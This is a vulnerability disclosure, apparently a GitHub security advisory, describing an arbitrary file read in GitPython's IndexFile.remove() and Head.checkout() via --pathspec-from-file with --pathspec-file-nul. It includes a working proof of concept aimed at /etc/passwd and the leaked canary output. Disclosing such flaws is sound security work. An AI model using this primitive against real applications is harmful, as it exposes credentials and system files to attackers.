GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()

Summary

IndexFile.remove() and Head.checkout() forward **kwargs into git rm and git checkout
with no guard. Passing --pathspec-from-file=<file> together with --pathspec-file-nul
makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec
error quotes it verbatim. GitPython surfaces that through GitCommandError.stderr, so the
entire contents of a caller-chosen file are returned to the caller in band.

This is the same primitive as Instance 2 of
GHSA-3f7w-8rr8-f37f - TagReference.create()
with -F, arbitrary file read returned in band - at two sites that advisory assessed and
cleared.

Prior art, and why I am filing rather than commenting

GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment
"--pathspec-from-file only reads a pathspec; no write or disclosure primitive found":

Call site	git command	that advisory's assessment
IndexFile.remove()	rm	--pathspec-from-file only reads a pathspec; no write or disclosure primitive found
IndexFile.move()	mv	same
HEAD.reset()	reset	same
HEAD.checkout()	checkout	same

That assessment is very nearly right, and I think that is why it held: with
--pathspec-from-file alone, Git splits on newlines and the error quotes only the first
line, which reads as an uninteresting partial. Adding --pathspec-file-nul - a sibling flag
of the same option, and the documented way to handle paths containing newlines - makes the
whole file one pathspec.

Root cause

git/index/base.py:991-1043:

def remove(self, items, working_tree=False, **kwargs):
    ...
    removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines()   # line 1043

git/refs/head.py:237-268:

def checkout(self, force: bool = False, **kwargs: Any):
    ...
    self.repo.git.checkout(self, **kwargs)                                 # line 268

Neither has an allow_unsafe_options parameter or a check_unsafe_options() call.

Proof of concept

from git import Repo
from git.exc import GitCommandError

repo = Repo("/path/to/repo")
kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True)

try:
    repo.index.remove([], **kw)          # or: repo.heads[0].checkout(**kw)
except GitCommandError as e:
    print(e.stderr)                      # <- entire file contents

Observed on published 3.1.57, against a canary file holding three marked lines:

[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band
       stderr: 'fatal: pathspec 'LINE1-CANARY-4242
       LINE2-SECRET-7777
       LINE3-TAIL-9999
       ' did not match any files'
[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band
       stderr: 'error: pathspec 'LINE1-CANARY-4242
       LINE2-SECRET-7777
       LINE3-TAIL-9999
       ' did not match any file(s) known to git'
[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses
[PASS] PRECISION: the GUARDED checkout-index leaks 0/3

The two precision controls are there so the result is about these sinks and not about the
canary being visible everywhere.

Scope correction to the table above

Of the four sites cleared with that sentence, two disclose and two do not:

Call site	disclosed?
IndexFile.remove() → git rm	yes, full file
Head.checkout() → git checkout	yes, full file
HEAD.reset() → git reset	no - git reset does not error on unmatched pathspecs
IndexFile.move() → git mv	no

The two negatives are mentioned because "the dismissal was wrong" would overstate it: the
dismissal was wrong for half of what it covered.